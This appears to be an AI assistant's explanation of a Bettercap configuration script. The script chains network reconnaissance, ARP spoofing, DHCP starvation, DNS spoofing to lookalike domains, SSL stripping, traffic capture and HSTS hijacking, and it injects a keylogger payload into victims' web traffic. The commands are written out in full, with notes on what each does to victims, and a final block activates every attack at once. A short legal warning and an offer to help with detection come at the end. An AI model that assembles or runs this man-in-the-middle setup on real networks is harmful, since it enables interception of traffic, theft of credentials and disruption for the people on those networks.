This code contains a set of configuration commands for **Bettercap**, a powerful network attack and monitoring tool. It enables various network attacks, including **ARP spoofing, DNS spoofing, DHCP starvation, SSL stripping, and packet sniffing**. Here's a breakdown of each section:

**1. Network Probing & Reconnaissance**

# Enable network probing

net.probe on

# Enable network reconnaissance

net.recon on

* net.probe on: Scans the local network to find active devices.
* net.recon on: Collects information about the network, such as connected devices, open ports, and network topology.

**2. ARP Spoofing (Man-in-the-Middle Attack)**

# Enable full-duplex ARP spoofing

set arp.spoof.fullduplex true

# Set the target IP for ARP spoofing

set arp.spoof.targets [Target IP]

# Enable gateway spoofing

set arp.spoof.gateway true

* arp.spoof.fullduplex true: Allows interception of both incoming and outgoing traffic.
* arp.spoof.targets [Target IP]: Specifies the victim's IP address.
* arp.spoof.gateway true: Spoofs the network gateway, making the attacker act as a router between victims and the internet.

**3. DHCP Starvation Attack**

# Enable DHCP starvation

set dhcp.starvation on

# Set the DHCP starvation target

set dhcp.starvation.targets [Target IP]

* dhcp.starvation on: Floods the network’s DHCP server with fake requests to exhaust available IP addresses.
* dhcp.starvation.targets [Target IP]: Targets a specific IP or device.

**4. DNS Spoofing**

# Enable DNS spoofing

set dns.spoof.domains {...}

* dns.spoof.domains: Redirects users from real websites (e.g., facebook.com) to a fake/malicious version of the site.
* The domains use .corn instead of .com, possibly a typo or a trick to avoid detection.

dns.spoof on

* Enables DNS spoofing, tricking victims into connecting to fake websites.

**5. SSL Stripping (HTTPS to HTTP Downgrade)**

# Enable SSL/TLS interception

set sslstrip.enable true

set sslstrip.ports {80,443,8080}

* sslstrip.enable true: Forces HTTPS websites to load over HTTP, exposing unencrypted traffic.
* sslstrip.ports {80,443,8080}: Targets standard web ports (HTTP & HTTPS).

sslstrip on

* Activates SSL stripping.

**6. Packet Sniffing (Capturing Network Traffic)**

# Enable local packet sniffing

set net.sniff.local true

# Set the output file for captured packets

set net.sniff.output /path/to/your/capture/file.cap

# Enable packet sniffing

net.sniff on

* net.sniff.local true: Captures network traffic on the local device.
* net.sniff.output: Saves captured packets to a file.
* net.sniff on: Starts packet sniffing.

**7. HTTP Proxy & HSTS Hijacking**

# Enable HTTP proxy

set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/hstshijack.js

set hstshijack.log /usr/local/share/bettercap/caplets/hstshijack/ssl.log

set hstshijack.ignore \*

* http.proxy.script: Uses a script to manipulate HTTP traffic.
* hstshijack.log: Logs hijacked traffic.
* hstshijack.ignore \*: Ignores all pre-configured exceptions.

set hstshijack.targets {...}

set hstshijack.replacements {...}

* hstshijack.targets: Lists domains targeted for HSTS hijacking.
* hstshijack.replacements: Replaces real domains with fake ones.

set hstshijack.obfuscate false

set hstshijack.encode false

* obfuscate false: No obfuscation of hijacked content.
* encode false: No encoding of hijacked requests.

set hstshijack.payloads \*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js

* Injects a **keylogger** into intercepted HTTP traffic.

http.proxy on

* Enables the HTTP proxy to manipulate web traffic.

**8. Final Activation of Attacks**

# Enable DHCP starvation

dhcp.starvation on

# Enable ARP spoofing

arp.spoof on

# Enable SSL/TLS interception

sslstrip on

# Enable HTTP proxy

http.proxy on

# Enable packet sniffing

net.sniff on

* This section **activates all configured attacks**.

**⚠️ Ethical & Legal Warning**

* This script is designed for **penetration testing** and **cybersecurity research**.
* **Unauthorized use** on a network **without permission is illegal** and violates **cyber laws**.

If you're working on an **ARP spoofing/MITM detection system**, you can analyze this script to **detect and prevent these attacks** instead of executing them. Let me know if you need help in that direction!